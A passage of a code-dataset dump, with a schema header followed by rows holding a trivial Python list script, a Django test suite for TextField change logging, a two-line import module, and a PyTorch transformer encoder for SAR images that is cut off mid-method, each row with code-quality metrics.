hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
86e1c25ef1dc4e7405d8e3b73b943060ec3a2e3e
| 29
|
py
|
Python
|
pacote-download/PythonTeste/teste0.py
|
Mariana02Santos/Python
|
a7bf3489b58d691578f888719c1ad6227ad39d74
|
[
"MIT"
] | null | null | null |
pacote-download/PythonTeste/teste0.py
|
Mariana02Santos/Python
|
a7bf3489b58d691578f888719c1ad6227ad39d74
|
[
"MIT"
] | null | null | null |
pacote-download/PythonTeste/teste0.py
|
Mariana02Santos/Python
|
a7bf3489b58d691578f888719c1ad6227ad39d74
|
[
"MIT"
] | null | null | null |
n = [3,6,4,5]
print(n[-1])
| 5.8
| 13
| 0.413793
| 8
| 29
| 1.5
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.217391
| 0.206897
| 29
| 4
| 14
| 7.25
| 0.304348
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
86e4fee80467d55f4b2df738a6361dfa326384ab
| 9,728
|
py
|
Python
|
geokey/core/tests/logger/test_log_textfield.py
|
universityofsussex/geokey
|
25e161dbc81841c57c148053dbe99facc81e84b8
|
[
"Apache-2.0"
] | null | null | null |
geokey/core/tests/logger/test_log_textfield.py
|
universityofsussex/geokey
|
25e161dbc81841c57c148053dbe99facc81e84b8
|
[
"Apache-2.0"
] | null | null | null |
geokey/core/tests/logger/test_log_textfield.py
|
universityofsussex/geokey
|
25e161dbc81841c57c148053dbe99facc81e84b8
|
[
"Apache-2.0"
] | null | null | null |
"""Tests for logger: model TextField."""
from django.test import TestCase
from geokey.core.models import LoggerHistory
from geokey.users.tests.model_factories import UserFactory
from geokey.projects.tests.model_factories import ProjectFactory
from geokey.categories.tests.model_factories import (
CategoryFactory,
TextFieldFactory,
)
class LogTextFieldTest(TestCase):
"""Test model TextField."""
def setUp(self):
"""Set up test."""
self.user = UserFactory.create()
self.project = ProjectFactory.create(**{
'creator': self.user})
self.category = CategoryFactory.create(**{
'creator': self.user,
'project': self.project})
self.textfield = TextFieldFactory.create(**{
'category': self.category})
def test_log_create(self):
"""Test when text field gets created."""
log_count_init = LoggerHistory.objects.count()
field = TextFieldFactory.create(**{
'category': self.category})
log = LoggerHistory.objects.last()
log_count = LoggerHistory.objects.count()
self.assertNotEqual(log.user, {
'id': str(self.user.id),
'display_name': self.user.display_name})
self.assertEqual(log.project, {
'id': str(self.project.id),
'name': self.project.name})
self.assertEqual(log.usergroup, None)
self.assertEqual(log.category, {
'id': str(self.category.id),
'name': self.category.name})
self.assertEqual(log.field, {
'id': str(field.id),
'name': field.name,
'type': 'TextField'})
self.assertEqual(log.location, None)
self.assertEqual(log.observation, None)
self.assertEqual(log.comment, None)
self.assertEqual(log.subset, None)
self.assertEqual(log.action, {
'id': 'created',
'class': 'Field'})
self.assertEqual(log_count, log_count_init + 1)
self.assertEqual(log.historical, None)
def test_log_delete(self):
"""Test when text field gets deleted."""
field_id = self.textfield.id
field_name = self.textfield.name
log_count_init = LoggerHistory.objects.count()
self.textfield.delete()
log = LoggerHistory.objects.last()
log_count = LoggerHistory.objects.count()
self.assertNotEqual(log.user, {
'id': str(self.user.id),
'display_name': self.user.display_name})
self.assertEqual(log.project, {
'id': str(self.project.id),
'name': self.project.name})
self.assertEqual(log.usergroup, None)
self.assertEqual(log.category, {
'id': str(self.category.id),
'name': self.category.name})
self.assertEqual(log.field, {
'id': str(field_id),
'name': field_name,
'type': 'TextField'})
self.assertEqual(log.location, None)
self.assertEqual(log.observation, None)
self.assertEqual(log.comment, None)
self.assertEqual(log.subset, None)
self.assertEqual(log.action, {
'id': 'deleted',
'class': 'Field'})
self.assertEqual(log_count, log_count_init + 1)
self.assertEqual(log.historical, None)
def test_log_update_name(self):
"""Test when name changes."""
log_count_init = LoggerHistory.objects.count()
self.textfield.name = '%s UPDATED' % self.textfield.name
self.textfield.save()
log = LoggerHistory.objects.last()
log_count = LoggerHistory.objects.count()
self.assertNotEqual(log.user, {
'id': str(self.user.id),
'display_name': self.user.display_name})
self.assertEqual(log.project, {
'id': str(self.project.id),
'name': self.project.name})
self.assertEqual(log.usergroup, None)
self.assertEqual(log.category, {
'id': str(self.category.id),
'name': self.category.name})
self.assertEqual(log.field, {
'id': str(self.textfield.id),
'name': self.textfield.name,
'type': 'TextField'})
self.assertEqual(log.location, None)
self.assertEqual(log.observation, None)
self.assertEqual(log.comment, None)
self.assertEqual(log.subset, None)
self.assertEqual(log.action, {
'id': 'updated',
'class': 'Field',
'field': 'name'})
self.assertEqual(log_count, log_count_init + 1)
self.assertEqual(log.historical, None)
def test_log_update_status(self):
"""Test when status changes."""
log_count_init = LoggerHistory.objects.count()
self.textfield.status = 'inactive'
self.textfield.save()
log = LoggerHistory.objects.last()
log_count = LoggerHistory.objects.count()
self.assertNotEqual(log.user, {
'id': str(self.user.id),
'display_name': self.user.display_name})
self.assertEqual(log.project, {
'id': str(self.project.id),
'name': self.project.name})
self.assertEqual(log.usergroup, None)
self.assertEqual(log.category, {
'id': str(self.category.id),
'name': self.category.name})
self.assertEqual(log.field, {
'id': str(self.textfield.id),
'name': self.textfield.name,
'type': 'TextField'})
self.assertEqual(log.location, None)
self.assertEqual(log.observation, None)
self.assertEqual(log.comment, None)
self.assertEqual(log.subset, None)
self.assertEqual(log.action, {
'id': 'updated',
'class': 'Field',
'field': 'status',
'value': self.textfield.status})
self.assertEqual(log_count, log_count_init + 1)
self.assertEqual(log.historical, None)
self.textfield.status = 'active'
self.textfield.save()
log = LoggerHistory.objects.last()
log_count = LoggerHistory.objects.count()
self.assertNotEqual(log.user, {
'id': str(self.user.id),
'display_name': self.user.display_name})
self.assertEqual(log.project, {
'id': str(self.project.id),
'name': self.project.name})
self.assertEqual(log.usergroup, None)
self.assertEqual(log.category, {
'id': str(self.category.id),
'name': self.category.name})
self.assertEqual(log.field, {
'id': str(self.textfield.id),
'name': self.textfield.name,
'type': 'TextField'})
self.assertEqual(log.location, None)
self.assertEqual(log.observation, None)
self.assertEqual(log.comment, None)
self.assertEqual(log.subset, None)
self.assertEqual(log.action, {
'id': 'updated',
'class': 'Field',
'field': 'status',
'value': self.textfield.status})
self.assertEqual(log_count, log_count_init + 2)
self.assertEqual(log.historical, None)
def test_log_update_required(self):
"""Test when required setting changes."""
log_count_init = LoggerHistory.objects.count()
self.textfield.required = True
self.textfield.save()
log = LoggerHistory.objects.last()
log_count = LoggerHistory.objects.count()
self.assertNotEqual(log.user, {
'id': str(self.user.id),
'display_name': self.user.display_name})
self.assertEqual(log.project, {
'id': str(self.project.id),
'name': self.project.name})
self.assertEqual(log.usergroup, None)
self.assertEqual(log.category, {
'id': str(self.category.id),
'name': self.category.name})
self.assertEqual(log.field, {
'id': str(self.textfield.id),
'name': self.textfield.name,
'type': 'TextField'})
self.assertEqual(log.location, None)
self.assertEqual(log.observation, None)
self.assertEqual(log.comment, None)
self.assertEqual(log.subset, None)
self.assertEqual(log.action, {
'id': 'updated',
'class': 'Field',
'field': 'required',
'value': str(self.textfield.required)})
self.assertEqual(log_count, log_count_init + 1)
self.assertEqual(log.historical, None)
self.textfield.required = False
self.textfield.save()
log = LoggerHistory.objects.last()
log_count = LoggerHistory.objects.count()
self.assertNotEqual(log.user, {
'id': str(self.user.id),
'display_name': self.user.display_name})
self.assertEqual(log.project, {
'id': str(self.project.id),
'name': self.project.name})
self.assertEqual(log.usergroup, None)
self.assertEqual(log.category, {
'id': str(self.category.id),
'name': self.category.name})
self.assertEqual(log.field, {
'id': str(self.textfield.id),
'name': self.textfield.name,
'type': 'TextField'})
self.assertEqual(log.location, None)
self.assertEqual(log.observation, None)
self.assertEqual(log.comment, None)
self.assertEqual(log.subset, None)
self.assertEqual(log.action, {
'id': 'updated',
'class': 'Field',
'field': 'required',
'value': str(self.textfield.required)})
self.assertEqual(log_count, log_count_init + 2)
self.assertEqual(log.historical, None)
| 36.848485
| 64
| 0.584601
| 1,023
| 9,728
| 5.488759
| 0.074291
| 0.205699
| 0.246839
| 0.137133
| 0.863045
| 0.848085
| 0.832591
| 0.832591
| 0.823687
| 0.790383
| 0
| 0.000998
| 0.27868
| 9,728
| 263
| 65
| 36.988593
| 0.799202
| 0.023129
| 0
| 0.832599
| 0
| 0
| 0.061932
| 0
| 0
| 0
| 0
| 0
| 0.370044
| 1
| 0.026432
| false
| 0
| 0.022026
| 0
| 0.052863
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
86f92ac9aa0e02469df4b30f01e5b28df34f8212
| 71
|
py
|
Python
|
plusseg/solver/__init__.py
|
tonysy/SegmentationToolbox.PyTorch
|
4d487dd81d0101bc5cdb7b2337776fdf1b5546ff
|
[
"MIT"
] | 13
|
2019-07-26T11:33:15.000Z
|
2021-09-22T06:48:52.000Z
|
plusseg/solver/__init__.py
|
tonysy/SegmentationToolbox.PyTorch
|
4d487dd81d0101bc5cdb7b2337776fdf1b5546ff
|
[
"MIT"
] | 1
|
2018-11-05T14:07:07.000Z
|
2018-11-05T14:07:07.000Z
|
plusseg/solver/__init__.py
|
tonysy/SegmentationToolbox.PyTorch
|
4d487dd81d0101bc5cdb7b2337776fdf1b5546ff
|
[
"MIT"
] | 2
|
2019-07-26T11:33:32.000Z
|
2020-03-04T13:47:50.000Z
|
from .build import make_lr_scheduler
from .build import make_optimizer
| 23.666667
| 36
| 0.859155
| 11
| 71
| 5.272727
| 0.636364
| 0.310345
| 0.517241
| 0.655172
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.112676
| 71
| 2
| 37
| 35.5
| 0.920635
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
811f0f976dfe11eb114bdc229c386d98d39bb147
| 55,366
|
py
|
Python
|
transform_main.py
|
malshaV/sar_transformer
|
b3ac845f96f2332aa4f1af94b455f71630978b17
|
[
"MIT"
] | 9
|
2022-01-24T13:56:16.000Z
|
2022-02-08T02:25:37.000Z
|
transform_main.py
|
wgcban/sar_transformer
|
b3ac845f96f2332aa4f1af94b455f71630978b17
|
[
"MIT"
] | null | null | null |
transform_main.py
|
wgcban/sar_transformer
|
b3ac845f96f2332aa4f1af94b455f71630978b17
|
[
"MIT"
] | 3
|
2022-01-24T13:56:25.000Z
|
2022-01-30T02:11:26.000Z
|
import torch
import torch.nn as nn
import torch.nn.functional
import torch.nn.functional as F
from functools import partial
from arch.trans_basenetworks import *
import timm
from timm.models.layers import DropPath, to_2tuple, trunc_normal_
import types
import math
from abc import ABCMeta, abstractmethod
from mmcv.cnn import ConvModule
import pdb
class EncoderTransformer(nn.Module):
def __init__(self, img_size=256, patch_size=16, in_chans=1, num_classes=1000, embed_dims=[64, 128, 256, 512],
num_heads=[1, 2, 4, 8], mlp_ratios=[2, 2, 2, 2], qkv_bias=False, qk_scale=None, drop_rate=0.,
attn_drop_rate=0., drop_path_rate=0., norm_layer=nn.LayerNorm,
depths=[3, 4, 6, 3], sr_ratios=[8, 4, 2, 1]):
super().__init__()
self.num_classes = num_classes
self.depths = depths
# patch embedding definitions
self.patch_embed1 = OverlapPatchEmbed(img_size=img_size, patch_size=7, stride=4, in_chans=in_chans,
embed_dim=embed_dims[0])
self.patch_embed2 = OverlapPatchEmbed(img_size=img_size // 4, patch_size=3, stride=2, in_chans=embed_dims[0],
embed_dim=embed_dims[1])
self.patch_embed3 = OverlapPatchEmbed(img_size=img_size // 8, patch_size=3, stride=2, in_chans=embed_dims[1],
embed_dim=embed_dims[2])
self.patch_embed4 = OverlapPatchEmbed(img_size=img_size // 16, patch_size=3, stride=2, in_chans=embed_dims[2],
embed_dim=embed_dims[3])
# for Intra-patch transformer blocks
# self.mini_patch_embed1 = OverlapPatchEmbed(img_size=img_size // 4, patch_size=3, stride=2, in_chans=embed_dims[0],
# embed_dim=embed_dims[1])
# self.mini_patch_embed2 = OverlapPatchEmbed(img_size=img_size // 8, patch_size=3, stride=2, in_chans=embed_dims[1],
# embed_dim=embed_dims[2])
# self.mini_patch_embed3 = OverlapPatchEmbed(img_size=img_size // 16, patch_size=3, stride=2, in_chans=embed_dims[2],
# embed_dim=embed_dims[3])
# self.mini_patch_embed4 = OverlapPatchEmbed(img_size=img_size // 32, patch_size=3, stride=2, in_chans=embed_dims[0],
# embed_dim=embed_dims[3])
# main encoder
dpr = [x.item() for x in torch.linspace(0, drop_path_rate, sum(depths))] # stochastic depth decay rule
cur = 0
self.block1 = nn.ModuleList([Block(
dim=embed_dims[0], num_heads=num_heads[0], mlp_ratio=mlp_ratios[0], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[0])
for i in range(depths[0])])
self.norm1 = norm_layer(embed_dims[0])
# intra-patch encoder
self.patch_block1 = nn.ModuleList([Block(
dim=embed_dims[1], num_heads=num_heads[0], mlp_ratio=mlp_ratios[0], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[0])
for i in range(1)])
self.pnorm1 = norm_layer(embed_dims[1])
# main encoder
cur += depths[0]
self.block2 = nn.ModuleList([Block(
dim=embed_dims[1], num_heads=num_heads[1], mlp_ratio=mlp_ratios[1], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[1])
for i in range(depths[1])])
self.norm2 = norm_layer(embed_dims[1])
# intra-patch encoder
self.patch_block2 = nn.ModuleList([Block(
dim=embed_dims[2], num_heads=num_heads[1], mlp_ratio=mlp_ratios[1], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[1])
for i in range(1)])
self.pnorm2 = norm_layer(embed_dims[2])
# main encoder
cur += depths[1]
self.block3 = nn.ModuleList([Block(
dim=embed_dims[2], num_heads=num_heads[2], mlp_ratio=mlp_ratios[2], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[2])
for i in range(depths[2])])
self.norm3 = norm_layer(embed_dims[2])
# intra-patch encoder
self.patch_block3 = nn.ModuleList([Block(
dim=embed_dims[3], num_heads=num_heads[1], mlp_ratio=mlp_ratios[2], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[2])
for i in range(1)])
self.pnorm3 = norm_layer(embed_dims[3])
# main encoder
cur += depths[2]
self.block4 = nn.ModuleList([Block(
dim=embed_dims[3], num_heads=num_heads[3], mlp_ratio=mlp_ratios[3], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[3])
for i in range(depths[3])])
self.norm4 = norm_layer(embed_dims[3])
self.apply(self._init_weights)
def _init_weights(self, m):
if isinstance(m, nn.Linear):
trunc_normal_(m.weight, std=.02)
if isinstance(m, nn.Linear) and m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.LayerNorm):
nn.init.constant_(m.bias, 0)
nn.init.constant_(m.weight, 1.0)
elif isinstance(m, nn.Conv2d):
fan_out = m.kernel_size[0] * m.kernel_size[1] * m.out_channels
fan_out //= m.groups
m.weight.data.normal_(0, math.sqrt(2.0 / fan_out))
if m.bias is not None:
m.bias.data.zero_()
# def init_weights(self, pretrained=None):
# if isinstance(pretrained, str):
# logger = get_root_logger()
# load_checkpoint(self, pretrained, map_location='cpu', strict=False, logger=logger)
def reset_drop_path(self, drop_path_rate):
dpr = [x.item() for x in torch.linspace(0, drop_path_rate, sum(self.depths))]
cur = 0
for i in range(self.depths[0]):
self.block1[i].drop_path.drop_prob = dpr[cur + i]
cur += self.depths[0]
for i in range(self.depths[1]):
self.block2[i].drop_path.drop_prob = dpr[cur + i]
cur += self.depths[1]
for i in range(self.depths[2]):
self.block3[i].drop_path.drop_prob = dpr[cur + i]
cur += self.depths[2]
for i in range(self.depths[3]):
self.block4[i].drop_path.drop_prob = dpr[cur + i]
def forward_features(self, x):
B = x.shape[0]
outs = []
embed_dims=[64, 128, 320, 512]
# stage 1
x1, H1, W1 = self.patch_embed1(x)
# x2, H2, W2 = self.mini_patch_embed1(x1.permute(0,2,1).reshape(B,embed_dims[0],H1,W1))
for i, blk in enumerate(self.block1):
x1 = blk(x1, H1, W1)
x1 = self.norm1(x1)
x1 = x1.reshape(B, H1, W1, -1).permute(0, 3, 1, 2).contiguous()
# for i, blk in enumerate(self.patch_block1):
# x2 = blk(x2, H2, W2)
# x2 = self.pnorm1(x2)
# x2 = x2.reshape(B, H2, W2, -1).permute(0, 3, 1, 2).contiguous()
outs.append(x1)
# stage 2
x1, H1, W1 = self.patch_embed2(x1)
x1 = x1.permute(0,2,1).reshape(B,embed_dims[1],H1,W1)
# x2, H2, W2 = self.mini_patch_embed2(x1)
x1 = x1.view(x1.shape[0],x1.shape[1],-1).permute(0,2,1)
for i, blk in enumerate(self.block2):
x1 = blk(x1, H1, W1)
x1 = self.norm2(x1)
x1 = x1.reshape(B, H1, W1, -1).permute(0, 3, 1, 2).contiguous()
outs.append(x1)
# for i, blk in enumerate(self.patch_block2):
# x2 = blk(x2, H2, W2)
# x2 = self.pnorm2(x2)
# x2 = x2.reshape(B, H2, W2, -1).permute(0, 3, 1, 2).contiguous()
# stage 3
x1, H1, W1 = self.patch_embed3(x1)
x1 = x1.permute(0,2,1).reshape(B,embed_dims[2],H1,W1)
# x2, H2, W2 = self.mini_patch_embed3(x1)
x1 = x1.view(x1.shape[0],x1.shape[1],-1).permute(0,2,1)
for i, blk in enumerate(self.block3):
x1 = blk(x1, H1, W1)
x1 = self.norm3(x1)
x1 = x1.reshape(B, H1, W1, -1).permute(0, 3, 1, 2).contiguous()
outs.append(x1)
# for i, blk in enumerate(self.patch_block3):
# x2 = blk(x2, H2, W2)
# x2 = self.pnorm3(x2)
# x2 = x2.reshape(B, H2, W2, -1).permute(0, 3, 1, 2).contiguous()
# stage 4
x1, H1, W1 = self.patch_embed4(x1)
x1 = x1.permute(0,2,1).reshape(B,embed_dims[3],H1,W1)
x1 = x1.view(x1.shape[0],x1.shape[1],-1).permute(0,2,1)
for i, blk in enumerate(self.block4):
x1 = blk(x1, H1, W1)
x1 = self.norm4(x1)
x1 = x1.reshape(B, H1, W1, -1).permute(0, 3, 1, 2).contiguous()
outs.append(x1)
return outs
def forward(self, x):
x = self.forward_features(x)
return x
class EncoderTransformerV2(nn.Module):
def __init__(self, img_size=256, patch_size=16, in_chans=1, num_classes=1, embed_dims=[32, 64, 128, 320, 512],
num_heads=[1, 1, 2, 4, 8], mlp_ratios=[2, 2, 2, 2, 2], qkv_bias=False, qk_scale=None, drop_rate=0.,
attn_drop_rate=0., drop_path_rate=0., norm_layer=nn.LayerNorm,
depths=[3, 3, 4, 6, 3], sr_ratios=[8, 8, 4, 2, 1]):
super().__init__()
self.num_classes = num_classes
self.depths = depths
# patch embedding definitions (COnvolutional layer)
self.patch_embed1 = OverlapPatchEmbed(img_size=img_size, patch_size=7, stride=2, in_chans=in_chans,
embed_dim=embed_dims[0])
self.patch_embed2 = OverlapPatchEmbed(img_size=img_size // 2, patch_size=3, stride=2, in_chans=embed_dims[0],
embed_dim=embed_dims[1])
self.patch_embed3 = OverlapPatchEmbed(img_size=img_size // 4, patch_size=3, stride=2, in_chans=embed_dims[1],
embed_dim=embed_dims[2])
self.patch_embed4 = OverlapPatchEmbed(img_size=img_size // 8, patch_size=3, stride=2, in_chans=embed_dims[2],
embed_dim=embed_dims[3])
self.patch_embed5 = OverlapPatchEmbed(img_size=img_size // 16, patch_size=3, stride=2, in_chans=embed_dims[3],
embed_dim=embed_dims[4])
# Stage 1 (h/2 x w/2)
dpr = [x.item() for x in torch.linspace(0, drop_path_rate, sum(depths))] # stochastic depth decay rule
cur = 0
self.block1 = nn.ModuleList([Block(
dim=embed_dims[0], num_heads=num_heads[0], mlp_ratio=mlp_ratios[0], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[0])
for i in range(depths[0])])
self.norm1 = norm_layer(embed_dims[0])
# Stage 2 (h/4 x w/4)
cur += depths[0]
self.block2 = nn.ModuleList([Block(
dim=embed_dims[1], num_heads=num_heads[1], mlp_ratio=mlp_ratios[1], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[1])
for i in range(depths[1])])
self.norm2 = norm_layer(embed_dims[1])
# Stage 3 (h/8 x w/8)
cur += depths[1]
self.block3 = nn.ModuleList([Block(
dim=embed_dims[2], num_heads=num_heads[2], mlp_ratio=mlp_ratios[2], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[2])
for i in range(depths[2])])
self.norm3 = norm_layer(embed_dims[2])
# Stage 4 (h/16 x w/16)
cur += depths[2]
self.block4 = nn.ModuleList([Block(
dim=embed_dims[3], num_heads=num_heads[3], mlp_ratio=mlp_ratios[3], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[3])
for i in range(depths[3])])
self.norm4 = norm_layer(embed_dims[3])
# Stage 5 (h/32 x w/32)
cur += depths[3]
self.block5 = nn.ModuleList([Block(
dim=embed_dims[4], num_heads=num_heads[4], mlp_ratio=mlp_ratios[4], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[4])
for i in range(depths[4])])
self.norm5 = norm_layer(embed_dims[4])
self.apply(self._init_weights)
def _init_weights(self, m):
if isinstance(m, nn.Linear):
trunc_normal_(m.weight, std=.02)
if isinstance(m, nn.Linear) and m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.LayerNorm):
nn.init.constant_(m.bias, 0)
nn.init.constant_(m.weight, 1.0)
elif isinstance(m, nn.Conv2d):
fan_out = m.kernel_size[0] * m.kernel_size[1] * m.out_channels
fan_out //= m.groups
m.weight.data.normal_(0, math.sqrt(2.0 / fan_out))
if m.bias is not None:
m.bias.data.zero_()
# def init_weights(self, pretrained=None):
# if isinstance(pretrained, str):
# logger = get_root_logger()
# load_checkpoint(self, pretrained, map_location='cpu', strict=False, logger=logger)
def reset_drop_path(self, drop_path_rate):
dpr = [x.item() for x in torch.linspace(0, drop_path_rate, sum(self.depths))]
cur = 0
for i in range(self.depths[0]):
self.block1[i].drop_path.drop_prob = dpr[cur + i]
cur += self.depths[0]
for i in range(self.depths[1]):
self.block2[i].drop_path.drop_prob = dpr[cur + i]
cur += self.depths[1]
for i in range(self.depths[2]):
self.block3[i].drop_path.drop_prob = dpr[cur + i]
cur += self.depths[2]
for i in range(self.depths[3]):
self.block4[i].drop_path.drop_prob = dpr[cur + i]
cur += self.depths[3]
for i in range(self.depths[4]):
